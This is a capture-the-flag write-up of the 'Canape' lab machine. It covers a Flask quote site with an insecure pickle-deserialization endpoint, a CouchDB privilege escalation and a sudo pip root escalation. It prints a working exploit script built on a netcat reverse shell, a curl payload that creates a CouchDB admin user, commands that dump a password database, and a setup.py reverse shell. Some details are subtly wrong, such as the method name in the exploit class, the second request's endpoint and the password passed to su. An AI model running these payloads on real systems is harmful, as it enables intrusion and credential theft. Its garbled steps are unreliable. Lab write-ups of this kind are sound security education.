This machine largely involved the enumeration of a git repository and flask application running on a couchDB. Writing a python script that would take advantage of the pickeling vulnerability and then finally exploiting couchDB.
Recon
This is only an initial scan utilizing the following flags.
-sC - Utilize default nmap enumeration scripts
-sV - Enumerate for version info over each process and port
-Pn - No ping scan. Avoiding the 3 way handshake will evade firewalls and speed things up
We initially notice that a git repository is flagged in the namp results. This provides a host name we can add to /etc/hosts but we will circle back to that, after we check out the website and webserver running over port 80.
Enumeration: Website
Looking over the landing page initially presents itself as a website focused on quotes. We quickly notice the option to "submit a quote" which stands out as this will generate a post request, which is an attack surface worth enumeration. Lets try submitting some information, and learning about the webpage a little before we dive into the git repository.
Initially submitting random characters did not work and provided the error we see in the photo above. The error indicates an issue with recognizing our character. We will need to investigate the source code of the page, and intercept our request with burpsuite to learn more. Lets start with the pages source code.
Initially this is all that stood out to me. Firstly we have an identifier with a comment about hiding it. Below that we see a directory for "/check". We are greeted with a method not allowed page which is suggestive of changing our verbs in our HTTP requests. I attempted to utilize a POST submission with Curl and received an error.
Burpsuite provided us nothing new, that we could not already see in the page source and submit script.
Enumeration: Git
So from here we have several options including testing for things like XSS and SQL injection in the forms box. However in this particular instance we know that there is a git repository associated with this machine, so it is in our best interest to focus on that before we get too fixated on the webapp.
sudo echo 10.129.1.57 git.canape.htb >> /etc/hosts
Browsing to the site reveals the address indeed resolved and it is working, so we will transition to the git commands to interact with this git repo now.
With the following command we clone the repo to our local system for further investigation.
git clone http://git.canape.htb/simpsons.git
import couchdb
import string
import random
import base64
import cPickle
from flask import Flask, render_template, request
from hashlib import md5
app = Flask(__name__)
app.config.update(
DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
@app.errorhandler(404)
def page_not_found(e):
if random.randrange(0, 2) > 0:
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
else:
return render_template("index.html")
@app.route("/")
def index():
return render_template("index.html")
@app.route("/quotes")
def quotes():
quotes = []
for id in db:
quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
return render_template('quotes.html', entries=quotes)
WHITELIST = [
"homer",
"marge",
"bart",
"lisa",
"maggie",
"moe",
"carl",
"krusty"
]
@app.route("/submit", methods=["GET", "POST"])
def submit():
error = None
success = None
if request.method == "POST":
try:
char = request.form["character"]
quote = request.form["quote"]
p_id = base64.b64encode(char+quote)
cPickle.dump(char + quote, open("/tmp/" + p_id + ".p", "wb"))
success = True
if not char or not quote:
error = True
elif not any(c.lower() in char.lower() for c in WHITELIST):
error = True
else:
# TODO - Pickle into dictionary instead, `check` is ready
p_id = md5(char + quote).hexdigest()
outfile = open("/tmp/" + p_id + ".p", "wb")
outfile.write(char + quote)
outfile.close()
success = True
except Exception as ex:
error = True
return render_template("submit.html", error=error, success=success)
@app.route("/check", methods=["POST"])
def check():
path = "/tmp/" + request.form["id"] + ".p"
data = open(path, "rb").read()
if "p1" in data:
item = cPickle.loads(data)
else:
item = data
return "Still reviewing: " + item
if __name__ == "__main__":
app.run()
Alright let us do some code analyses and break this down. But before we do this I decided to check the "git log" and found a comment about a vulnerability with the check function.
I performed a git diff call on this specific commit and highlighted in the above code the code that was added with this commit in the blue color. The check function which has a suggested vulnerability is highlighted in green. The code that had been removed is highlighted in red.
Lets start from the top with some code analyses.
The headers show we are dealing with a couchdb server, a python flask app and the pickling library is utilized for data deserialization.
2. The next part of code is taking are quote that we submit through the online template and runs it through a whitelist with several words. This stands out to me as odd intuitively speaking.
3. Next our code simply submits our quote as a post request.
4. Here we have a check to ensure we submit a form. Then from here the Character and quote are parsed from that form and historically the removed code would actually concatenate our character and quote into each other wrapped in base64 held under the p_id variable. cPickle then dumps that information into a file in tmp.
5.This is a check to ensure we submitted a character and quote. The elif statement then confirms our characters are lowercase to match those in the whitelist. Provided we do not error out we take the character and quote and concatenate and wrap in md5 and outputs to a file. This directly replaces the deleted code that encoded the concatenation in base64 and piped into the p_id variable.
Vulnerability
All of this means we are looking for a vulnerability in this code and if perform some research we will quickly learn about pickle vulnerabilities.
Pickle
In Python, the pickle module lets you serialize and deserialize data. Essentially, this means that you can convert a Python object into a stream of bytes and then reconstruct it (including the object’s internal structure) later in a different process or environment by loading that stream of bytes.
In pickle the formal command to serialize objects is pickle.dumps()
import pickle
pickle.dumps(['pickle', 'this', 1, 2, 3])
The pickled data will return like this
b'\x80\x04\x95\x19\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x06pickle\x94\x8c\x02me\x94K\x01K\x02K\x03e.'
We can convert this pickled data with the pickle.loads function.
import pickle
pickle.loads(b'\x80\x04\x95\x19\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x06pickle\x94\x8c\x02me\x94K\x01K\x02K\x03e.')
Here we get our initial pickle back.
['pickle', 'this', 1, 2, 3]
Behind the scenes we are creating a byte stream with the dumps command that contains opcode which are executed one by one upon loading the pickle back.
It is important to understand that not everything can be pickled and there is a dedicated python guide covering what can and cannot be pickled here.
In pickle I learned about the _reduce_() function that is vulnerable and the gold mine for attackers as it can allow code execution. The python documentation talks about the reduce function specifying the following;
The __reduce__() method takes no argument and shall return either a string or preferably a tuple (the returned object is often referred to as the “reduce value”). […] When a tuple is returned, it must be between two and six items long. Optional items can either be omitted, or None can be provided as their value. The semantics of each item are in order:
A callable object that will be called to create the initial version of the object.
A tuple of arguments for the callable object. An empty tuple must be given if the callable does not accept any argument. […]
By utilizing the _reduce_ class we can have the pickle process act as a callable item and pass an argument for it to run. So we will be looking to call os.system with the _reduce_ class.
Exploit creation
I found a skeleton of the exploit from mgeeky on github here. This helped me put things into perspective and act as a foundation for me to work and learn off of.
Firstly I create a skeleton of the exploit copying what mgeeky has highlighted as the foundation of the exploit into vim (for syntax highlighting).
In the second part, I copy and add a nc reverse shell to pass into os.system and then finally the cPickle.dumps function to rebuild the above class providing execution. However this is not all, as we now have to satisfy some of the checks we found in the initial script regarding quotes, char and the md5 hashing.
I first wanted to test our pickle function and I quickly learned that I had to resort to the pickle module as I could not get cPickle to work.
Calling our exploit confirmed the pickle worked as expected.
So let us carry on!
import os
#import _pickle as cPickle
#import pickle
import cPickle
from hashlib import md5
import requests
class Boom(object):
def _reduce_(self):
return (os.system, ('echo homer!;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.99 5555 >/tmp/f',))
sc = cPickle.dumps(Boom())
print sc
char, quote = sc.split("!")
p_id = md5(char + quote).hexdigest()
cPickle.loads(char + quote)
requests.post("http://10.129.1.57/submit", data={'character': char, 'quote': quote})
requests.post("http://10.129.1.57/submit", data={'id': p_id})
And we get a shell
We then upgrade the shell as usual
Privilege Escalation
Uploading the linpeas script did not provide anything immediately useful, and at some point I started investigating the application versions including coucheDB.
With an internal curl on the couchDB port we grab the version.
From here I checked what user was running CoucheDB with ps -auxwww
Home is running couchDB so this is likely how we are going to move horizontally and get flag.
We can utilize the curl "all db" function to show us the DB information within this CoucheDB server. This is looking great and we see some juicy information.
Some initial research quickly shows an exploit for this. Requireing nothing more than a local curl request that takes advantages of multiple Parsers not working together.
curl -X PUT 'http://127.0.0.1:5984/_users/org.couchdb.user:oops' --data-binary '
{
"type": "user",
"name": "oops",
"roles": ["_admin"],
"roles": [],
"password": "password"
}'
From here we can query the database using the couchDB syntax which is highlighted here on hacktricks. https://book.hacktricks.xyz/pentesting/5984-pentesting-couchdb
Querying the passwords folder on the couchDB provides non formatted input
curl --user 'oops:password' 127.0.0.1:5984/passwords/
{"db_name":"passwords","update_seq":"46-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkR2PoiQFIJlkD1bHik-dA0hdPGF1CSB19QTV5bEASYYGIAVUOp8YtQsgavcTo_YARO39rER8AQRR-wCiFuhetiwA7ytvXA","sizes":{"file":222462,"external":665,"active":1740},"purge_seq":0,"other":{"data_size":665},"doc_del_count":0,"doc_count":4,"disk_size":222462,"disk_format_version":6,"data_size":1740,"compact_running":false,"instance_start_time":"0"}
We then use the _all_docs to get all the information in a formatted way.
curl --user 'oops:password' 127.0.0.1:5984/passwords/_all_docs
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}}
A query to the specific keys gives us 4 different passwords. The only initially is the only working one for the local machine,. This is password defined as the ssh password.
curl --user 'oops:password' 127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4
{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}
www-data@canape:/$ su homer
su homer
Password: 739c5ebdf3f7a001bebb8fc4380019e4
Privilege Escalation: Root
Classic sudo -l shows that homer can run the pip install * as root, so we simply just have to create a malicious pip package to install with shellcode that executes upon installing.
From here we just add a reverse shell into a setup.py file and run sudo pip install . in the same directory.
My setup.py looked like this.
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.99",5555));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
With a listener in place we receive the reverseshell as root.
Comments